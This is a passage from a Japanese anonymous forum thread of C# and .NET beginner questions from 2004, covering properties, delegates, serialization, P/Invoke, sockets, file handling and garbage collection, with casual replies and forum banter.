04/07/14 17:02
>>174
有難うございます、助かりました。
176:デフォルトの名無しさん
04/07/14 23:14
>>175
でも、実装の仕方としては、class A, B を ICloneable にして Clone() メソッド書くのが普通な気が。
177:デフォルトの名無しさん
04/07/14 23:28
>>175
それでほんとに問題ないのかちゃんと確認した方がいいぞ。
178:デフォルトの名無しさん
04/07/15 06:59
>>176
リフレクションの使い方の取っ掛かりが欲しかったので、構わないんです。
コンストラクタ以外にもメソッドを呼び出すときに、もっと複雑なことになるし、この辺りは覚悟していましたし
いずれにしても template が実装されるまでの繋ぎなので。
179:デフォルトの名無しさん
04/07/15 07:06
>178
どうtemplateにからむんでしょう?個人的に興味
180:デフォルトの名無しさん
04/07/15 19:08
ダウンキャストを知らないだけだったりして…
181:デフォルトの名無しさん
04/07/15 20:30
C#の宿題スレはまだ無いみたいなのでここにて。
C#で簡易telnetを作れという問題です。通信の方法がそもそも分かりません
182:デフォルトの名無しさん
04/07/15 21:02
>>181
ソケット作れ
183:デフォルトの名無しさん
04/07/15 21:10
言語依存じゃない部分が分かってないんだろ?
184:デフォルトの名無しさん
04/07/15 21:11
>>181
TCPで接続してTELNETプロトコル話せばいいだけ
URLリンク(www.google.co.jp)
185:デフォルトの名無しさん
04/07/20 13:26
IList をインターフェイスに持つオブジェクトでシリアル化する時、上手く行かなくて地団駄踏んでいます。
System.Runtime.Serialization.Formatters.Soap.SoapFormatter
で、オブジェクトをXmlにシリアライズする時は ISerializable でカスタマイズできるみたいですが、
System.Xml.Serialization.XmlSerializer
で、オブジェクトをXmlにシリアライズする時でカスタマイズできる方法は無いんでしょうか?
知っている人いますか?
IList を入れていると、XmlSerializerが頑張っちゃって自動的にシリアライズしてしまうみたいで・・・
IListが入っていても普通のクラスのように振舞わせる事はできないのでしょうか?
186:デフォルトの名無しさん
04/07/20 15:14
>>185
取りあえず簡単なIListを実装したコレクションを作ったけど普通にシリアライズ・デシリアライズできたぞ。
XmlSerializerは手軽に使えてカスタムしにくいのが特徴なので、まあいろいろ勘案して。
シリアライズ用の別クラスを作るとか。
187:デフォルトの名無しさん
04/07/20 15:23
あ~、>186の一行目はちょっと勘違いというか見当違い。無視して。
188:デフォルトの名無しさん
04/07/20 15:23
>>186
あぅ、書き損じたんですが、添え字にマイナス値を使えるようにするとアウトなんですよ。
ヘルプを見ると、this[int]インデクサプロパティーを見ているようで、Countとセットで
動作しているみたいなんです。
当然動作するわけも無いのですが、ここでIListを見て勝手に動作されるとちょっと具合が悪いので、
この機能に寝ていてもらいたいのですが、手段が見つからない・・・・
189:デフォルトの名無しさん
04/07/22 11:01
単純に足し算するだけのメソッドなんですが、
public int Add()
{
return 10+10;
}
下のように使うと、Add()の戻り値は変数aに入りますよね。
public void Test()
{
int a = Add();
}
以下の場合だと、Addの戻り値はどこへ格納されるんでしょうか?
publi void Test()
{
Add();
}
190:デフォルトの名無しさん
04/07/22 11:03
そのまま破棄されるだけだが。
191:デフォルトの名無しさん
04/07/22 12:31
C系言語の特徴で
int main()
{
10 ;
}
とやっても、文としては正しいと認識されます
と、書こうとして、C#でやったら、意味が無いって怒られました。
さすがにチェックすることにしたみたいですね。
192:デフォルトの名無しさん
04/07/27 20:11
public int hoge; //hogeは1から100をとる
上の場合、publicだから外からどんな値が来るかわかりません。
hogeに値が代入された時に、hogeが正しい値かどうかを調べるにはどうしたらいいんですか
193:デフォルトの名無しさん
04/07/27 20:16
>>192
プロパティにしてsetアクセサの中でチェックする。
つかまさにそのためにプロパティがあるんだが。
194:デフォルトの名無しさん
04/07/27 20:17
プロパティにする
195:デフォルトの名無しさん
04/07/27 20:28
set{ if(value >= 1 && value<=100) hoge = value; else throw new FormatException(); }
みたいにすればいいんですね。なるほど
196:デフォルトの名無しさん
04/07/27 20:31
どうでもいいがその例だとArgumentOutOfRangeExceptionの方が妥当だな。
197:デフォルトの名無しさん
04/07/31 15:21
>>195
public int hoge {
set {
if (1 <= value && value <= 100)
hoge = value;
else
throw new ArgumentOutOfRangeException();
}
}
ちょっと無理っぽいが、通るのか?
198:デフォルトの名無しさん
04/07/31 18:44
GDI+はGDIより遅いって本当ですか?
199:デフォルトの名無しさん
04/07/31 19:54
>>198
自分で作って確かめろ、タコ
200:デフォルトの名無しさん
04/07/31 20:58
>ちょっと無理っぽいが、通るのか?
なんで?
201:198
04/08/01 09:38
>199
GDIはBitbltで
GDI+はGraphics.DrawImageで
確かめて良いですか?
202:デフォルトの名無しさん
04/08/01 11:55
GDI+は長角まで待つべし
203:デフォルトの名無しさん
04/08/01 12:31
リフレクションを使ってラムダ式を動的に作りたいのですが、
参考になるHPや良い方法があったら教えてください。
例えば、正規分布関数のクラスが、以下のように存在していて
public class DistributionFunctions
{
public static dobule Normal( double x , double a , double v )
{
return 1.0 / Math.Sqrt( 2 * Math.PI * v ) * Math.Exp( -(x-a)*(x-a)/( 2 * v ) ) ;
}
...
}
やりたい事は、
delegate double DoubleToDoubleDelegate( double x ) ;
public class DistributionDelegates
{
static DoubleToDoubleDelegate MakeNormal( double a , double v )
{
ここに手際よく大量生産できるコード
}
}
使い方は
void hogehogeMethod()
{
DoubleToDoubleDelegate df = MakeNormal( 0.0 , 1.0 ) ;
y = df( 0.0 ) ;// ここで y = Normal( x , 0.0 , 1.0 ) が呼び出される
}
204:デフォルトの名無しさん
04/08/01 16:03
>>203
よくわからんけど、こんなこと↓がしたいの?
using System;
public class DistributionFunctions {
double a;
double v;
public DistributionFunctions(double x, double y){
a = x;
v = y;
}
public double Normal( double x )
{
return 1.0 / Math.Sqrt( 2 * Math.PI * v ) * Math.Exp( -(x-a)*(x-a)/( 2 * v ) ) ;
}
}
delegate double DoubleToDoubleDelegate( double x );
class Hoge {
static DoubleToDoubleDelegate MakeNormal( double a , double v ) {
//ここに手際よく大量生産できるコード
DistributionFunctions f = new DistributionFunctions(a, v);
return new DoubleToDoubleDelegate(f.Normal);
}
static void Main() {
DoubleToDoubleDelegate df = MakeNormal( 0.0 , 1.0 ) ;
double y = df( 0.0 ) ;// ここで y = Normal( x , 0.0 , 1.0 ) が呼び出される
Console.WriteLine("y = {0}", y);
}
}
205:204
04/08/01 16:27
public class DistributionFunctions {
の{の前に全角スペースが入ってた。。。鬱
206:デフォルトの名無しさん
04/08/01 16:28
C#でGDIをつかうすべはあるのか?APIの直たたきならGDIをつかえる?
207:デフォルトの名無しさん
04/08/01 18:33
>>204
方法は問わないんですが、そうです、そんな感じです。
そこで、関数の引数を確保するクラスを作る必要がありますよね。
関数の数が多くて、これを全部自動生成してしまいたいんです。
208:204
04/08/01 20:00
>>207
> そこで、関数の引数を確保するクラスを作る必要がありますよね。
> 関数の数が多くて、これを全部自動生成してしまいたいんです。
204の例を使っても、好きなだけ関数は作れるけど。。。↓こういうことではない?
static void Main()
{
double d1 = 1.0; // 数字は適当
double d2 = 1.0; // 数字は適当
DoubleToDoubleDelegate[,] df = new DoubleToDoubleDelegate[10,10];
for(int i=0; i < 10; i++, d1 += 0.2){
for(int j=0; j < 10; j++, d2 += 0.2){
df[i,j] = MakeNormal( d1, d2);
}
}
for(int i=0; i < 10; i++){
for(int j=0; j < 10; j++){
double y = df[i,j]( 0.0 ) ;
Console.WriteLine("y = {0}", y);
}
}
}
209:デフォルトの名無しさん
04/08/01 21:52
>>208
ども、お手数掛けてすみません。
対象となる関数は、正規分布関数のようにパラメータ二つだけとは限りませんし、
今後、多変数に対応するにあたって、このまま場当なやり方で行きますとプログラムの保守が危機的になると考え
第一段階として、現在はC#のソースコードを自動生成するプログラムを作って対応しています。
しかし、これも必ずしも良い方法とも言えず、もっと効率的にプログラムできる方法として、
色々探している内にリフレクションという物を使ってみようかと考えていました。
さっそく始めてみたのですが、これがチュートリアルの良いページがなかなか見つからなくて・・・・
ちなみに僕自身、ここに書き込む前に色々考えたのですが、
一般的なC#の構文を使った範囲内ではおそらく良い解決方法はないだろうというのが結論でした。
210:デフォルトの名無しさん
04/08/01 22:20
はじめまして、
C#でデータベースに関することを勉強しています。
ボタンを押すとアクセスに「123」というデータを追加するプログラムを書いています。
壁にぶつかりましたので、ご指導していただけませんか。
odbcDataAdapter1などの設定し、以下のボタンの内容を書きました。
odbcConnection1.Open();
odbcDataAdapter1.InsertCommand.Parameters["@ab"].Value="123";
odbcDataAdapter1.InsertCommand.ExecuteNonQuery();
odbcDataAdapter1.Fill(dataSet11);
odbcConnection1.Close();
すると
'System.IndexOutOfRangeException' のハンドルされていない例外が
system.data.dll で発生しました。
211:デフォルトの名無しさん
04/08/01 22:24
> 対象となる関数は、正規分布関数のようにパラメータ二つだけとは限りませんし、
> 今後、多変数に対応するにあたって、このまま場当なやり方で行きますとプログラムの保守が危機的になると考え
> 第一段階として、現在はC#のソースコードを自動生成するプログラムを作って対応しています。
これが結構まっとうな方法な気もしますが。。。
もしかして、パラメータが変わるだけではなく、どんな関数を作るかは
あらかじめ決まってない、ってことですか?
C++でいえば、boost::lambdaみたいなことをしたいのかなぁ?
> しかし、これも必ずしも良い方法とも言えず、もっと効率的にプログラムできる方法として、
> 色々探している内にリフレクションという物を使ってみようかと考えていました。
リフレクションで出来るかどうかはわかりませんが、一応参考に。
URLリンク(members.jcom.home.ne.jp)
URLリンク(www.microsoft.com)
212:デフォルトの名無しさん
04/08/01 23:01
>>210
ここにある例が参考になりませんかね。
URLリンク(www.microsoft.com)
213:デフォルトの名無しさん
04/08/02 08:36
普通に IDbCommand.ExecuteNonquery() はダメなの?
214:デフォルトの名無しさん
04/08/03 21:03
プログラムの構造をどうしたらいいのかが分かりません。
例えば、オセロプログラムを考えるとします。
オセロのマスの部分にButtonから継承したクラスMasuを使います。
Masuを8*8個集めた配列をBoardとします。
オセロゲーム ━ Board (集約する)━ Masu という風になっていますが、
Masuがクリックされた時に 隣のマスをひっくり返すかどうか走査するとしても、
Masuからは隣のMasuなんて分かりませんよね?
だからBoardに頼んで調べてもらいたいわけですが
どうやったらそうできるのかがわからないです。どうしたらいいのですか?
215:デフォルトの名無しさん
04/08/03 21:07
X 配列Board
O クラスBoard
でした
216:デフォルトの名無しさん
04/08/03 21:43
>>214
Masu に必要な機能は、
・そのマスの内容を保持
・画面に描画する
・クリックされたことを、Board に通知する
の3つでいいんじゃない?
ひっくり返すのは、Board でやればいい。
217:デフォルトの名無しさん
04/08/03 23:21
>>216
その三番目のboardに通知する方法が分からんですよ。
218:デフォルトの名無しさん
04/08/03 23:32
>>217
Clickイベント。
219:デフォルトの名無しさん
04/08/03 23:51
>>217
boardのメソッドの引数に自分を渡せばいい。
220:デフォルトの名無しさん
04/08/04 00:18
>214
もっと
PlayerとかTurnMasterとかJudgeとかつくれや。Masuはいらん
221:デフォルトの名無しさん
04/08/04 00:53
>>220
高度すぎ。質問者をみて答えてやれよ。
222:デフォルトの名無しさん
04/08/04 00:56
>221
書き込んだ後そう思った.すいません。
Masu作るときにボードを引数で渡してそれ使う.それかイベント
223:デフォルトの名無しさん
04/08/04 23:39
こういうのってできるかな?
void Hoge( params object [] arg )
の ref バージョンで
void Hoge( ref object arg0 , ref object arg1 , ref object arg2 ... ) ;
の様な物。
必要個数分オーバーロードするしかないかな?
224:デフォルトの名無しさん
04/08/05 00:33
コントロールのクライアント領域について質問です。
以下のような Panel を継承したクラスをつくりました。
public class PanelEx : System.Windows.Forms.Panel
{
public PanelEx() { }
protected override void OnPaint(PaintEventArgs e)
{
base.OnPaint (e);
Pen p = new Pen(Color.Black, 1);
e.Graphics.DrawRectangle(p, this.ClientRectangle);
p.Dispose();
}
}
この PanelEX クラスのインスタンスを、普通に Form1 の
コンストラクタ内で生成したところ、画面には PanelEx の
左側と上側にしか線がひかれません。
なぜでしょうか?また、どうすればちゃんと矩形が描かれますか?
225:デフォルトの名無しさん
04/08/05 00:55
>>224
はみ出て見えないので矩形を小さく、例えば幅と高さを-1にしたりする。
226:224
04/08/05 01:29
>>225
ええええー。なぜそんな仕様になってるんでしょうか?
227:デフォルトの名無しさん
04/08/05 02:00
>>226
厨避けの為。
228:デフォルトの名無しさん
04/08/05 02:03
>>226
別におかしくないよ。
URLリンク(www.microsoft.com)
229:デフォルトの名無しさん
04/08/05 10:20
>>220
ウヒャー
220さんの高度な設計だと、どんな風になるんですか?
コードをつけながら説明してほしい・・・
230:デフォルトの名無しさん
04/08/05 19:29
>>229
高度
コード
!?
231:デフォルトの名無しさん
04/08/05 22:23
超基本で悪いんだけど、
int i = Console.Read();
Console.WriteLine(i);
これでたとえば「2」を入力すると出力が「50」なんてなるんですが、なぜなのでしょうか?
232:デフォルトの名無しさん
04/08/05 22:31
>>231
コンピュータの中では、「文字」ってのは一定のルールで数字の列に変換されて扱われてます。
このルールのことをエンコーディング、数字(の列)のことを文字コードと呼んだりします。
んで、文字の "2" に対応するコードが 50 (16進数で 0x32) なわけです。
ファイルやネットワーク等での読み書きは、byte の列を使って行われるのが基本で、
.Net Framework で文字列からこのバイト列に(またはその逆に)変換するには、
Encoding クラス(のインスタンス)を用います。
233:デフォルトの名無しさん
04/08/05 22:31
P.S.
"2"という文字列から、数字の 2 に変換するには、Int32.Parse() などを使います。
234:231
04/08/05 22:36
>>232
文字コードを実数値にしないといけないんですね。
丁寧な即レスありがとうございます。
235:デフォルトの名無しさん
04/08/06 00:26
久しぶりにきたが、なんだかいいスレになってるじゃねーか!
236:デフォルトの名無しさん
04/08/06 07:42
コンソールはほとんど勉強してなかったから試してみたんだけど
char c = (char)Console.Read();
とすれば、そのまま表示できまっせ。MSDNだとintを返すことになってるから
まぎわらしいんだけどね。
237:デフォルトの名無しさん
04/08/06 07:43
こんにちは
今画像のサムネイル保存用に複数画像をまとめてひとつの
ファイルにしようとしています。
Aファイルサイズ・Aファイル・Bファイルサイズ・Bファイル・・・
みたいな感じ合成し、インデックスで呼び出そうかと思っています。
で、ふと思ったのですが、そういう複数のファイルをまとめてしまう
クラスって既にあったりするのでしょうか。
よろしければお教えください。よろしくお願いいたします。
238:デフォルトの名無しさん
04/08/06 09:33
Bitmap imageA = new Bitmap("A.bmp");
Bitmap imageB = new Bitmap("B.bmp");
Bitmap imageC = new Bitmap("C.bmp");
Bitmap bmp = new Bitmap(300, 100);
Graphics g = Graphics.FromImage(bmp);
g.DrawImage(imageA, 0, 0);
g.DrawImage(imageB, 100, 0);
g.DrawImage(imageC, 200, 0);
g.Dispose();
bmp.Save("ABC.bmp");
bmp.Dispose();
imageA.Dispose();
imageB.Dispose();
imageC.Dispose();
239:デフォルトの名無しさん
04/08/06 10:42
そうきましたか・・・
Hash的に名前で簡単にストリームを取り出せるような
仕組みが既存クラスにないかなーとか思っていたのでした。
やはり頑張って自分で実装してみます。
ありがとうございました。
240:デフォルトの名無しさん
04/08/06 11:04
参照設定でvjslib.dll(Microsoft Visual J# .NET Class Library)を追加して、java.util.zipで
241:デフォルトの名無しさん
04/08/06 11:42
!!!
なるほど!
早速やってみます。
ありがとうございました!
242:デフォルトの名無しさん
04/08/06 23:07
DirectX 9.0 SDK (Summer 2004)の日本語ドキュメントをインストールしたんだが、
VS.NET2003に反映されないのです。
なんでなんでしょう・・・そういう方他にいますか?
243:最凶VB厨房
04/08/06 23:20
まずは再起動
244:242
04/08/06 23:24
>>243
再起動もしたんですがダメでした。
245:最凶VB厨房
04/08/06 23:28
SDK本体は入れてるのよな?
まっわからんけど
246:デフォルトの名無しさん
04/08/06 23:32
>>242
フィルタか?
247:242
04/08/06 23:52
英語版ヘルプははいってるんですが・・・
フィルタもなしになってます。
本来ならVS.NET起動時に「ヘルプを反映中・・」とかでますよね?
248:242
04/08/07 01:01
連結ヘルプ コレクション マネージャで更新できました。
お騒がせしました。(・∀・)
249:デフォルトの名無しさん
04/08/07 11:42
>>242
DirectX9 SDK Summer2004の日本語ドキュメントってもう出てたの?
250:デフォルトの名無しさん
04/08/07 11:51
>>249
変な書き方しちゃいましたね。
2004入れてから日本語ドキュメント入れたら~でした。スマソ
251:デフォルトの名無しさん
04/08/07 13:25
外部プロセスに確保した領域をPtrToStructureすると例外が発生するのは何故でしょうか。どうかご教授お願いします。
using HANDLE=System.IntPtr;using LPVOID=System.IntPtr;using SIZE_T=System.UInt32;using DWORD=System.UInt32;
class CMyApp:System.Windows.Forms.Form
{
[System.Runtime.InteropServices.DllImportAttribute("kernel32")]
static extern LPVOID VirtualAllocEx(HANDLE hProcess,LPVOID lpAddress,SIZE_T dwSize,DWORD flAllocationType,DWORD flProtect);
DWORD PAGE_READWRITE=0x04;
DWORD MEM_COMMIT= 0x1000;
static void Main()
{
System.Windows.Forms.Application.Run(new CMyApp());
}
CMyApp()
{
this.Click+=new System.EventHandler(OnClick);
}
void OnClick(object sender,System.EventArgs e)
{
LPVOID 自分側の領域=VirtualAllocEx(System.Diagnostics.Process.GetCurrentProcess().Handle,(LPVOID)0,(DWORD)System.Runtime.InteropServices.Marshal.SizeOf(typeof(System.TimeSpan)),MEM_COMMIT,PAGE_READWRITE);
LPVOID 他人側の領域=new LPVOID();
foreach(System.Diagnostics.Process inc in System.Diagnostics.Process.GetProcesses())
if("Explorer"==inc.ProcessName)
他人側の領域=VirtualAllocEx(inc.Handle,(LPVOID)0,(DWORD)System.Runtime.InteropServices.Marshal.SizeOf(typeof(System.TimeSpan)),MEM_COMMIT,PAGE_READWRITE);
System.Runtime.InteropServices.Marshal.PtrToStructure(自分側の領域,typeof(System.TimeSpan));//自分側の領域では例外は発生しない
System.Windows.Forms.MessageBox.Show("次で例外発生");
System.Runtime.InteropServices.Marshal.PtrToStructure(他人側の領域,typeof(System.TimeSpan));
}
}
252:デフォルトの名無しさん
04/08/07 14:35
>>251
非Managedなプロセス空間にManagedな構造体を確保する意味がさっぱりわからないんだが。
URLリンク(dotnetjunkies.com)
とりあえず外部プロセスへのちょっかいの参照。
253:251
04/08/07 15:56
252さんアドバイスありがとうございます。
これをやりたい理由は、興味本位で出来るかどうか試したかっただけです。
とりあえず上のURLをよく読んで見ます。
254:デフォルトの名無しさん
04/08/07 18:02
おまいら、コールバックにデリゲートとインターフェースの
どっち使ってる?
JavaのGUIのリスナーみたいなケースなら、デリゲートの
方が何もしないメソッドまで記述しなくて済むし効率いいかな。
255:デフォルトの名無しさん
04/08/07 18:30
>>254
俺は Java 出身だから、ある程度一まとまりの処理をくっつけるならインターフェイス使っている
デリゲートは纏まり間が無くて、単体なら遣いやすいけど微妙
256:デフォルトの名無しさん
04/08/07 21:19
俺はデリゲート派
257:デフォルトの名無しさん
04/08/07 21:22
anonymous class は使えないが、anonymous delegate は使えるようになるので、
デリゲートにしておくのが無難なのでは。
258:デフォルトの名無しさん
04/08/07 23:45
非常に唐突な質問で申し訳ないが、C#で、というか.NET Frameworkで
各ドライブのボリュームラベルを取得するのってどうやるんだべさ?
なんかAPI叩くしかなかったら非常に鬱なので教えてエロイ人!
259:デフォルトの名無しさん
04/08/07 23:48
>>258
DriveInfo.VolumeLabel かな。
…… .NET Framework 2.0 だけど。
260:デフォルトの名無しさん
04/08/08 00:00
2.0で変更になったクラスの一覧ってないかな?
261:デフォルトの名無しさん
04/08/08 00:06
>>259
やっぱ2.0になっちまうのか・・・。
何故こんな基本的なもんが実装されてないんだと小一(ry
262:デフォルトの名無しさん
04/08/08 00:18
[DllImport("Kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
extern static bool GetVolumeInformation(
string RootPathName,
StringBuilder VolumeNameBuffer,
int VolumeNameSize,
out uint VolumeSerialNumber,
out uint MaximumComponentLength,
out uint FileSystemFlags,
StringBuilder FileSystemNameBuffer,
int nFileSystemNameSize);
263:デフォルトの名無しさん
04/08/08 00:20
>>262
トンクスエロイ人!
やっぱこうやるか・・・。なんだかなぁ・・・
264:デフォルトの名無しさん
04/08/08 02:15
Socket.Selectで64を超えるソケットリストを渡すと範囲外エラーになるのですが、
この64という制限は何によってかかっているでしょうか。
100に変更したりとかできないでしょうか。
265:デフォルトの名無しさん
04/08/08 11:05
ボタンの配列(二次元)をクリックされた時に、何番のボタンがクリックされたかを調べるにはどうしたら良いですか?
MyButtons[,] = new Button[3,5];
のように宣言されていて、forの二重ループの中で初期化して
MyButtons[i,j].Click += new EventHandler(MyButtons_Click);
みたいにしてみましたが、MyButtons_Clickの引数には別に「MyButtonsの何番目か」は渡されません。
どうしたらいいんですか
266:デフォルトの名無しさん
04/08/08 11:11
>>265
ボタンの番号が固定のものなら、Button.Tag あたりに番号を押し込めておけば良いのでは?
267:デフォルトの名無しさん
04/08/08 11:22
自分が [2,1]だとしたら、[2,0]と[2,2]のボタンも操作したいんですよ。
なんとかなりませんかねえ
268:デフォルトの名無しさん
04/08/08 11:28
>>267
???
だからTagにint[]{2, 1}とかいれとけばいいんじゃないの?
それがまずいというのならもっとわかりやすく説明してくれないと何がなにやら。
269:デフォルトの名無しさん
04/08/08 11:34
>>268
あ、いま意味が分かりましたサンクス
270:デフォルトの名無しさん
04/08/08 12:19
>>264
普通に1000とかできるじゃん……と思ったら.NET Framework2.0だった。
1.1の制限のようだ。
271:デフォルトの名無しさん
04/08/08 12:27
>>264
OS の制限。WaitForMultipleObjects() できる最大数が64だから。
2.0 で表面的な制限は外れても、64を超えると効率は落ちる気がする。
272:デフォルトの名無しさん
04/08/08 13:46
簡単なベンチの結果、数が25以上になった辺りから緩やかに効率が落ちていった。
でも64周辺の境界は見あたらなかった。
ついでに1.0/1.1/2.0bも比較してみた。(スコアは低い方が優秀)
10でスコア 410 / 370 / 250
25でスコア 320 / 300 / 230
40でスコア 325 / 320 / 250
64でスコア 370 / 370 / 300
有意の差があるね。
1.1までとは違う機構を利用してたりするんじゃないかってくらい2.0は早い。
数が少ない時と多い時のスコアの分布とか。
273:デフォルトの名無しさん
04/08/08 13:50
DataGridで
ABC | DEF | GHI
JKL | MNO | PQR
STU | VWX | YZA
BCD | EFG | HIJ
こういう表の MNOとVWXだけ範囲指定させるみたいなことはできますか?
274:264
04/08/08 14:27
>>270-272
環境も書き忘れたのに本当にありがとうございます。
しかもWaitForMultipleObjectsとの関連、
ベンチまでしていただいてとても参考になりました。
275:デフォルトの名無しさん
04/08/09 00:29
クラスのオブジェクトをコピーしたいんだけどよくわからんです。
AObject obj1 = obj2.Clone();
ってすればいいんだろうけど、
Cloneを書くときにCのmemcpyみたいなことってできないんでしょうか?
それともいちいちフィールド一つずつ代入?
276:デフォルトの名無しさん
04/08/09 00:38
Object.MemberwiseClone()
277:275
04/08/09 15:39
>>276
さんきゅ。
それつかってICloneableを実装するのが流儀なのだな。
278:デフォルトの名無しさん
04/08/13 14:30
Point とかの Dispose できないヤツって、Dispose しなくていいの?
Point aaa = new Point(0,0);
aaa = new Point(1,1);
aaa = new Point(2,2)
とかしても大丈夫?
279:デフォルトの名無しさん
04/08/13 15:17
>>278
int a = 0;
a = 1;
a = 2;
とやることにためらいを覚える?
280:デフォルトの名無しさん
04/08/14 04:46
char *p = malloc(100);
p = malloc(100);
p = malloc(100);
とやることにはためらいを覚える。
281:275
04/08/15 15:23
Pointとかは構造体だからOKってことだよね。
正しいクラスはDisposeを持つべきってことか?
自前のやつも?
282:デフォルトの名無しさん
04/08/15 15:30
>>281
もうちょっとGCを信用しようや。
Disposeが必要なのは基本的にUnmanagedなリソースを扱うクラスのみ。
283:デフォルトの名無しさん
04/08/15 16:19
GCはいいんだけど、自分で自由に解放できないのがいまいち
なんか「ゴミをゴミ箱に捨てると清掃員の仕事が減ってリストラされるから、ゴミは道に捨てるべき」とか言ってるみたい
284:デフォルトの名無しさん
04/08/15 17:21
>>283
でも
道に捨てない -> 清掃員の仕事が減ってリストラ -> ごみを捨て忘れても綺麗にならない
だから道に捨てるんだ。
285:デフォルトの名無しさん
04/08/15 17:44
環境はVS2003です。
ツール(T)→webページのビルドコメント(B)
でドキュメントを作成したところ、「コード要素ページ operator + が不完全です。 」というエラーが取り除けなくて困っています。
だれか理由が分る人いますか?
以下問題のコードです。
/// <summary>テスト</summary>
public class Test
{
/// <summary>足し算</summary>
/// <param name="a">引数その1</param>
/// <param name="b">引数その2</param>
/// <returns>結果</returns>
public static Test operator + ( Test a , Test b ) { return null ; }
}
>>282
Unmanagedというより、IO関連とかメモリーと連携するわけにはいかないオブジェクトが実装する必要があるのでは?
OSのリソースはメモリーのようにいつでも解放できるリソースばかりではありませんから、そのようなリソースを握るオブジェクトには必然的に必要になります。
参照先がなくなった瞬間に即時開放されるタイプのクラスが定義できると、こんな面倒な事をしなくてすむんですが……
と、C++でスマートポインタを使っていると切に欲しくなる事があったりします。
286:デフォルトの名無しさん
04/08/15 20:23
Disposeしたところでメモリに対しては何も出来ないんだから意味なし。
まあ、>>285のように思う事はない事もない。
287:デフォルトの名無しさん
04/08/15 20:29
何らかのクリーンアップコードを実行したい場合なんかは、
Disposeを実装すべきである事が多い。
単に使用終了と言う意味合いだけなら、何もする必要なし。
※Dispose実装したところでする事は何もない。
メモリに関しちゃほっとけばいいってのがGCのある環境での基本。
288:デフォルトの名無しさん
04/08/15 20:30
using ステートメント(と IDisposable インタフェイス)ではどこがダメなの?
289:デフォルトの名無しさん
04/08/15 20:47
忘れる可能性があるから、強制できないから。
まあ、>>285の言うようなスマートポインタみたいな物っていっても、
結局直接参照しか扱えないため、包含するクラスは全部そのタイプにしなけりゃ
意味がなかったりして、結局大げさになりすぎてうまくいかないかな。
GCとは相性が悪いね。
290:デフォルトの名無しさん
04/08/17 19:02
MSNメッセンジャーでの「ほげほげがサインインしました」みたいなポップアップ
ダイアログを作りたいのだが,ここにいる諸氏ならばどのようにして実現するか,
意見をお聞きしたい.
291:デフォルトの名無しさん
04/08/17 19:45
出来合いのコンポーネントを使う。
292:デフォルトの名無しさん
04/08/17 20:47
>>290
他にもあるけど
窓の杜 - 【NEWS】米MS提供の.NET開発向けカスタムコントロール集「Visual Basic Power Pack」
URLリンク(www.forest.impress.co.jp)
293:290
04/08/17 21:46
>>292
激しく感謝.ありがとう.
294:デフォルトの名無しさん
04/08/18 18:19
ファイルの末尾数バイトを削除する簡単な方法ってありますか?
一度全て読み込んだ後削除して上書きしか思いつかなくて。。。
消した後、そのファイルに追加を行うので、
消したい部分のみ上書きする方法でもいいのですが。。。
295:デフォルトの名無しさん
04/08/18 18:37
簡単……ねぇ?
上書きなら難しいことでもないけど。
int b = 5;
FileStream fs = new FileStream("hoge.txt", FileMode.Open, FileAcceess.ReadWrite);
fs.Position = fs.Length - b;
StreamWriter sw = new StreamWriter(fs);
以下略
296:294
04/08/18 19:01
>>295
そっか TextWriter に、予め頭だししておいた Stream をぶち込めばよかったのか
ありがとうございますそれでいけそうです
297:デフォルトの名無しさん
04/08/19 16:55
>>295
そっか Mamko に、だしておいた Seishi をぶち込めばよかったのか
ありがとうございますそれで子供できそうです
298:デフォルトの名無しさん
04/08/19 16:57
つまらん
299:デフォルトの名無しさん
04/08/23 08:20
C#で複数のマウスイベントを検出することは可能でしょうか?
USBマウスとUSBトラックボールをつなげています。こららの移動情報を個別に取得したいと思います。
どうすれば、よいでしょうか?宜しくお願いしまう。
300:デフォルトの名無しさん
04/08/23 08:25
>>299
.NET Frameworkのライブラリじゃ不可能。
Raw Input APIを使う必要がある。
参考:URLリンク(www.hatena.ne.jp)
301:デフォルトの名無しさん
04/08/23 11:16
意外にも、DirectInput じゃ区別できないのよね。
302:デフォルトの名無しさん
04/08/25 06:19
実行ファイルに関連付けられたアイコンをプログラムの中で
使用したいのですが、いい方法はないでしょうか。
なお、今のところ、同一のアイコンファイルを
コンパイルオプションの「/win32icon」、「/resource」の双方を
使って実行ファイルに取り込んでいます。
303:デフォルトの名無しさん
04/08/25 07:12
>>302
/win32icon は API の ExtractIcon/ExtractIconEx で取り出せる。
304:デフォルトの名無しさん
04/08/26 01:30
classとstructを簡単に見分ける方法ってある?
ライブラリのやつとかいちいちマニュアル見るの面倒なんだが。
305:デフォルトの名無しさん
04/08/26 02:15
>>304
VS使ってるならnewのインテリセンスとか。
あんまりclassかstructかを見分ける必要なぞ感じたことがないしな。
306:デフォルトの名無しさん
04/08/26 11:59
ListBoxを縦に二つに分けることはできないんでしょうか。
MultiColumnではなくて、ひとつの項目を二つの列に分けて表示したいんです。
具体的に何をしたいかというと、エラーの内容と発生時刻を表示したいんですが、
発生時刻を左側に、エラーの内容を右側にわけてリストボックスに表示したいんです。
日付は必ず1行ですがエラーの内容は複数行になる可能性があるので、
文字数揃えて表示・・とかよりも縦に二つに割れたら楽だと思うんですけど、どうやってやるのかさっぱりです。
ListBoxで実現するには、あるいはほかのコントロールで実現するにはどうすればいいんでしょうか。
307:デフォルトの名無しさん
04/08/26 12:13
>>306
ちゃんと読んではいないけどGoogleのイメージ検索で引っかかったこれはどうだろう。
URLリンク(www.codeproject.com)
//私ならListViewを使うかな……?
308:デフォルトの名無しさん
04/08/26 12:18
ぶっちゃけ自分で描画したほうが早い
309:デフォルトの名無しさん
04/08/26 14:53
>>308
めんどくさくね?
310:デフォルトの名無しさん
04/08/27 00:14
面倒くさいかどうかというのは実装の早さに関して考慮することじゃないような
311:304
04/08/27 00:43
>>305
そうか。
コピーするときにcloneがいるかとか
遅くなるのかとか、結構気になるんだが
312:デフォルトの名無しさん
04/08/27 03:39
チューンナップなぞ遅さが気になってからすればいいんですよ.
早過ぎる最適化は諸悪の(少なくとも大半の悪の)根源なり -- DEK
313:デフォルトの名無しさん
04/08/27 17:15
AxWebBrowser って ToolTip くっつけられないんだっけ?
314:313
04/08/27 17:16
くだらない質問なのにあげちゃった_| ̄|○
315:デフォルトの名無しさん
04/08/27 20:34
>>305
boxing と unboxing でドツボにはまるぞ。
値型と参照型の違いは押さえておいた方が良い。
316:デフォルトの名無しさん
04/08/27 21:08
だよね。
struct を lock () して排他したつもり、とか。
317:デフォルトの名無しさん
04/08/27 23:58
心配しなくてもできねーよ。
318:デフォルトの名無しさん
04/08/28 22:43
